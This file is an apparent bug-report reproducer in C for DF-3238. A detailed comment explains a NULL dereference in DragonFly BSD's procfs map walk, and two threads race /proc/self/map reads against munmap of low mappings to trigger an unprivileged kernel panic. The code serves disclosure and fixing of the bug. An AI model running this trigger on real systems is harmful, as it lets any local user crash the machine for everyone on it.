DF-3238 / df3238_mapwalk_null.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 | /* * DF-3238 -- procfs_domap() map-walk revalidation NULL dereference panic. * * sys/vfs/procfs/procfs_map.c:236-240: * if (last_timestamp != map->timestamp) { * vm_map_entry_t reentry; * vm_map_lookup_entry(map, e_start, &reentry); * entry = reentry; * } * The return value of vm_map_lookup_entry() is ignored. When the entry * just processed (and everything below it) was unmapped while the map lock * was dropped at procfs_map.c:143, vm_map_lookup_entry() sets *entry=NULL * (sys/vm/vm_map.c:1215-1232: "If there is no prior record, *entry is set * to NULL"). The RB_FOREACH increment then evaluates * RB_NEXT(vm_map_rb_tree, ..., NULL) -> sys/sys/tree.h:815-817 * RB_RIGHT(NULL, ...) -> kernel-mode load at small fixed address -> panic. * * Trigger (unprivileged, single process): thread A loops read() on * /proc/self/map while thread B unmaps the *lowest* mappings of the * process (a block of MAP_SHARED file mappings at 0x100000, far below the * text base, each carrying a vnode object so the per-entry unlock window * at procfs_map.c:143-230 is wide -- vn_fullpath() runs inside it). * * When B's munmap() is granted between A's formatting of one of the low * entries and A's re-lock, A revalidates e_start, finds no predecessor * (every entry below the text base is gone) and feeds NULL to RB_NEXT(). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <pthread.h> #include <sys/mman.h> #define LOWBASE 0x00100000UL /* below the DFly non-PIE text at 0x400000 */ #define NMAPS 32 #define MAPLEN 0x8000UL /* 32K per mapping -> block [0x100000,0x200000) */ #define BLOCKLEN (NMAPS * MAPLEN) #define PAGE 0x1000UL static int backing_fd = -1; static void * reader_thread(void *arg) { char buf[8192]; char path[64]; long iters = 0; int fd; snprintf(path, sizeof(path), "/proc/%d/map", getpid()); fd = open(path, O_RDONLY); if (fd < 0) { perror("reader open"); return NULL; } for (;;) { lseek(fd, 0, SEEK_SET); while (read(fd, buf, sizeof(buf)) > 0) ; iters++; if ((iters & 0x3ff) == 0) fprintf(stderr, "[r:%ldk] ", iters / 1024); } return NULL; } static void * churn_thread(void *arg) { void *p; unsigned int seed = 23; int i; for (;;) { /* map the low block file-backed; alternate file offsets so * adjacent entries cannot merge (contiguous object offsets * would coalesce into a single vm_map_entry) */ for (i = 0; i < NMAPS; i++) { p = mmap((void *)(LOWBASE + i * MAPLEN), MAPLEN, PROT_READ, MAP_SHARED | MAP_FIXED, backing_fd, (i & 1) ? 0 : PAGE); if (p == MAP_FAILED) { fprintf(stderr, "churn mmap %d: %s\n", i, strerror(errno)); sleep(1); break; } } usleep(rand_r(&seed) % 100); /* one big munmap: deletes all NMAPS lowest entries at once, * likely granted while the reader sits in its per-entry * unlocked window on one of them */ if (munmap((void *)LOWBASE, BLOCKLEN) < 0) { /* normal when the block is currently absent */ } usleep(rand_r(&seed) % 100); } return NULL; } int main(void) { pthread_t ta, tb; char tmp[] = "/tmp/df3238b"; int fd; char buf[8192]; ssize_t n; backing_fd = open(tmp, O_RDWR | O_CREAT | O_TRUNC, 0600); if (backing_fd < 0) { perror("open backing"); return 1; } if (ftruncate(backing_fd, MAPLEN) < 0) { perror("ftruncate"); return 1; } unlink(tmp); /* print the first map line so we can see the low block sorts first */ fd = open("/proc/self/map", O_RDONLY); if (fd >= 0) { n = read(fd, buf, sizeof(buf) - 1); if (n > 0) { char *nl; buf[n] = 0; nl = strchr(buf, '\n'); if (nl) *nl = 0; fprintf(stderr, "first map line (no churn yet): %s\n", buf); } close(fd); } pthread_create(&ta, NULL, reader_thread, NULL); pthread_create(&tb, NULL, churn_thread, NULL); pthread_join(ta, NULL); return 0; } |